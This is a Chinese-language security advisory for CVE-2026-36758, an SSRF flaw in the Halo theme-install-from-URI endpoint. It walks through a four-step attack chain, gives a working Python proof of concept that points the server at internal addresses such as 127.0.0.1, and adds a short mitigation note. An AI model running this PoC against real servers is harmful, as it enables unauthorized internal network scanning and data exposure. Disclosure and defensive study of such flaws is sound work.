IPBUF安全漏洞报告
English
CVE-2026-36758 CVSS 4.3 中危

CVE-2026-36758 Halo服务端请求伪造漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-36758
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Halo

相关标签

SSRFHalo服务端请求伪造CVE-2026-36758Web安全内网扫描

漏洞概述

Halo v2.22.14 版本中的 /themes/-/install-from-uri 接口存在服务器端请求伪造(SSRF)漏洞。由于该接口未对用户提供的 URI 地址进行严格的限制与过滤,已认证的攻击者可以通过发送特制的 GET 请求,诱导服务器向内网发起请求。利用此漏洞,攻击者能够探测或扫描内部网络资源,导致敏感信息泄露,对系统安全性构成威胁。

技术细节

该漏洞的核心在于 Halo v2.22.14 版本在处理通过 URI 安装主题的功能时,缺乏对目标地址的安全校验。具体来说,应用程序在 /themes/-/install-from-uri 端点直接使用了用户传入的 URL 参数去请求远程资源。由于 CVSS 评分显示攻击复杂度低(AC:L)且需要低权限(PR:L),攻击者在获取普通用户权限后,即可利用此缺陷。攻击者可以构造包含内网 IP(如 127.0.0.1、192.168.x.x)或敏感协议的 Payload。当服务器处理该请求时,会代替攻击者向内网发起连接。通过分析响应时间或内容差异,攻击者可以扫描内网端口、探测未授权的内部服务,进而作为跳板进一步渗透内网环境。

攻击链分析

STEP 1
步骤1:信息收集与认证
攻击者对目标 Halo 站点进行侦察,并注册或获取一个低权限用户账号,以满足漏洞利用的权限要求(PR:L)。
STEP 2
步骤2:构造恶意 Payload
攻击者编写脚本或使用工具,构造指向内网敏感资源(如 localhost、内网 IP 段、云元数据地址)的 URL 参数。
STEP 3
步骤3:发送利用请求
攻击者向 /themes/-/install-from-uri 端点发送带有认证信息的 GET 请求,将构造的恶意 URI 作为参数传递。
STEP 4
步骤4:分析响应与内网探测
服务器端解析请求并访问内网资源。攻击者根据服务器返回的 HTTP 状态码、响应时间或内容差异,判断内网端口是否开放或服务是否存在。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_ssrf(target_url, cookie): """ PoC for CVE-2026-36758 Halo SSRF Vulnerability """ # The vulnerable endpoint endpoint = "/themes/-/install-from-uri" # Malicious URI pointing to internal resource (e.g., localhost admin) # Change to internal IP or file:// protocol based on environment internal_uri = "http://127.0.0.1:8080/api/health" headers = { "User-Agent": "Mozilla/5.0 (compatible; SSRF-Tester/1.0)", "Cookie": cookie } params = { "uri": internal_uri } try: print(f"[*] Sending request to {target_url}{endpoint} with payload: {internal_uri}") response = requests.get(target_url + endpoint, headers=headers, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request successful! Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") print("[+] Check response content for signs of internal resource leakage.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8090" # Replace with actual target session_cookie = "SESSION=your_cookie_here" # Replace with valid auth cookie check_ssrf(target, session_cookie)

影响范围

Halo v2.22.14

防御指南

临时缓解措施
建议管理员暂时禁用通过 URI 安装主题的功能,或者通过网络策略限制应用服务器仅能访问受信任的外部白名单地址,严禁访问内网网段和回环地址。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表